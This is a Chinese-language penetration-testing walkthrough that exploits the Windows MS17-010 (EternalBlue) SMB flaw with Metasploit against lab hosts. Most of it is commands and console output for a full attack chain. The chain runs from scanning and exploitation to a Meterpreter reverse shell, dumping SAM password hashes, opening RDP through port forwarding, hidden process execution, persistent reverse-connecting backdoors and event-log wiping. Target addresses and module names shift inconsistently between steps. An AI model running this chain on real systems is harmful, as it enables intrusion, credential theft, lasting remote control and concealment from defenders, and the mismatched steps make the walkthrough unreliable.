描述
继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后，2017 年 4 月 14 日，Shadow Brokers 再次公布了一批新的 NSA 黑客工具，其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。
针对此次泄露的漏洞，微软提前发布了安全公告 MS17-010，修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003)，网络空间中仍然存在大量可被入侵的设备
永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞影响
Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue
环境准备:
1.防火墙允许SMB流量进出
2.缺少MS17-010补丁
信息收集
nmap -sV --script=vuln -O 192.168.110.100
Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
漏洞利用:
root@kali:~# msfconsole
确认漏洞
msf > search ms17-010 //在漏洞库中搜索ms17-010的payload [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
我们使用auxiliary辅助模块中的ms17_010_command载荷去扫描确认目标系统是否真的有SMB服务的远程代码执行的漏洞
msf > use auxiliary/admin/smb/ms17_010_command //使用该载荷 msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.135.136 //设置目标 rhosts => 192.168.135.136 msf auxiliary(admin/smb/ms17_010_command) > exploit //进行攻击 [*] 192.168.135.136:445 - Target OS: Windows Server 2003 3790 Service Pack 2 [*] 192.168.135.136:445 - Filling barrel with fish... done [*] 192.168.135.136:445 - <---------------- | Entering Danger Zone | ----------------> [*] 192.168.135.136:445 - [*] Preparing dynamite... [*] 192.168.135.136:445 - Trying stick 1 (x64)...Miss [*] 192.168.135.136:445 - [*] Trying stick 2 (x86)...Boom! [*] 192.168.135.136:445 - [+] Successfully Leaked Transaction! [*] 192.168.135.136:445 - [+] Successfully caught Fish-in-a-barrel [*] 192.168.135.136:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 192.168.135.136:445 - Reading from CONNECTION struct at: 0x8fdf1cb0 [*] 192.168.135.136:445 - Built a write-what-where primitive... [+] 192.168.135.136:445 - Overwrite complete... SYSTEM session obtained! [+] 192.168.135.136:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.135.136:445 - Output for "net group "Domain Admins" /domain": ةĻ Domain Admins עˍ ָ¶¨µœꝀ� ³ʔ± ------------------------------------------------------------------------------- Administrator ļ®³ɹ¦Ϊ³ɡ£ [+] 192.168.135.136:445 - Cleanup was successful [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Successful 而且目标为Administrator 权限
攻击目标
msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.110.100 //设置目标 rhost => 192.168.110.100
msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 192.168.110.100:4444 [*] 192.168.110.128:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.110.128:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit) [*] 192.168.110.128:445 - Scanned 1 of 1 hosts (100% complete) [*] 192.168.110.128:445 - Connecting to target for exploitation. [+] 192.168.110.128:445 - Connection established for exploitation. [+] 192.168.110.128:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.110.128:445 - CORE raw buffer dump (25 bytes) [*] 192.168.110.128:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.110.128:445 - 0x00000010 72 69 73 65 20 37 36 30 30 rise 7600 [+] 192.168.110.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.110.128:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.110.128:445 - Sending all but last fragment of exploit packet [*] 192.168.110.128:445 - Starting non-paged pool grooming [+] 192.168.110.128:445 - Sending SMBv2 buffers [+] 192.168.110.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.110.128:445 - Sending final SMBv2 buffers. [*] 192.168.110.128:445 - Sending last fragment of exploit packet! [*] 192.168.110.128:445 - Receiving response from exploit packet [+] 192.168.110.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.110.128:445 - Sending egg to corrupted connection. [*] 192.168.110.128:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.110.128 [*] Meterpreter session 1 opened (192.168.110.100:4444 -> 192.168.110.128:49455) at 2020-03-31 16:25:08 +0800 [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.110.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >
成功
后渗透阶段
先介绍一下Meterpreter:
Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
在后渗透阶段我们将使用Meterpreter进行攻击
meterpreter > help //输入help命令可以查看在meterpreter模块下执行的命令 meterpreter > sysinfo //查看系统信息 Computer : MYCOMPUTER OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : zh_CN Domain : LOUISNIE Logged On Users : 3 Meterpreter : x86/windows meterpreter > getsystem //提升到system权限 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > hashdump //导出SAM数据库的内容 Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0::: SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9::: IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f::: IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da::: MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09:::
SAM简介:
SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的，安全标识在账号创建时就同时创建，一旦账号被删除，安全标识也同时被删除。安全标识是唯一的，即使是相同的用户名，在每次创建时获得的安全标识都时完全不同的。因此，一旦某个账号被删除，它的安全标识就不再存在了，即使用相同的用户名重建账号，也会被赋予不同的安全标识，不会保留原来的权限。
其文件位置：C:windowssystem32configSAM
其格式是 用户名称:RID:LM-HASH值:NT-HASH:::
在Windows系统下,有两大hash,分别是LM HASH&NT HASH
对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat
msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打开目标服务器的远程连接 msf exploit(windows/smb/ms17_010_psexec) >exploit meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389 //反弹目标的3389端口到本地的2222端口并监听该端口 [*] Local TCP relay created: :2222 <-> 192.168.135.136:3389 meterpreter > portfwd //查看是否反弹成功 Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 0.0.0.0:2222 192.168.135.136:3389 Forward 1 total active port forwards. root@kali:~# netstat -an | grep "2222" //我们在kali查看2222端口是在监听状态 tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面 meterpreter > ps //查看系统进程 Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x86 0 NT AUTHORITYSYSTEM 240 2792 mstsc.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32mstsc.exe 264 4 smss.exe x86 0 NT AUTHORITYSYSTEM SystemRootSystem32smss.exe 292 808 explorer.exe x86 0 LOUISNIEAdministrator C:WINDOWSExplorer.EXE 312 264 csrss.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32csrss.exe 336 264 winlogon.exe x86 0 NT AUTHORITYSYSTEM ??C:WINDOWSsystem32winlogon.exe 384 336 services.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32services.exe 396 336 lsass.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32lsass.exe 452 1744 wuauclt.exe x86 2 LOUISNIEAdministrator C:WINDOWSsystem32wuauclt.exe 588 384 vmacthlp.exe x86 0 NT AUTHORITYSYSTEM meterpreter > migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PID meterpreter > execute -H -i -f cmd.exe //创建新进程cmd.exe，-H不可见，-i交互 -f用系统命令去执行 meterpreter > kali 1569 //杀死进程,格式是:kali PID
植入后门,维持控制
msf exploit(windows/smb/ms17_010_psexec) > sessions -i 2 //开启第二个会话 [*] Starting interaction with 2... meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //运行后门程序，-X指定启动的方式为开机自启动，-i反向连接的时间间隔 [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445 [*] Persistent agent script is 99670 bytes long meterpreter > background [*] Backgrounding session 2... msf exploit(windows/smb/ms17_010_psexec) > back msf > use exploit/multi/handler //使用exploit/multi/handler监听连入的backdoor msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp //设置载荷 payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.135.134 //设置将反弹到本地来 lhost => 192.168.135.134 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.135.134:4444 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 4 opened (192.168.135.1
或者可以使用metsvc模块来留下后门
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机，它会上传三个文件：
-
metsvc.dll
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metsvc-service.exe
-
metsvc.exe
msf exploit(multi/handler) > sessions -i 2 //选择一个会话 meterpreter > run metsvc //运行metsvc
清除日志:
meterpreter > clearev [*] Wiping 1 records from Application... [*] Wiping 26 records from System... [*] Wiping 2281 records from Security..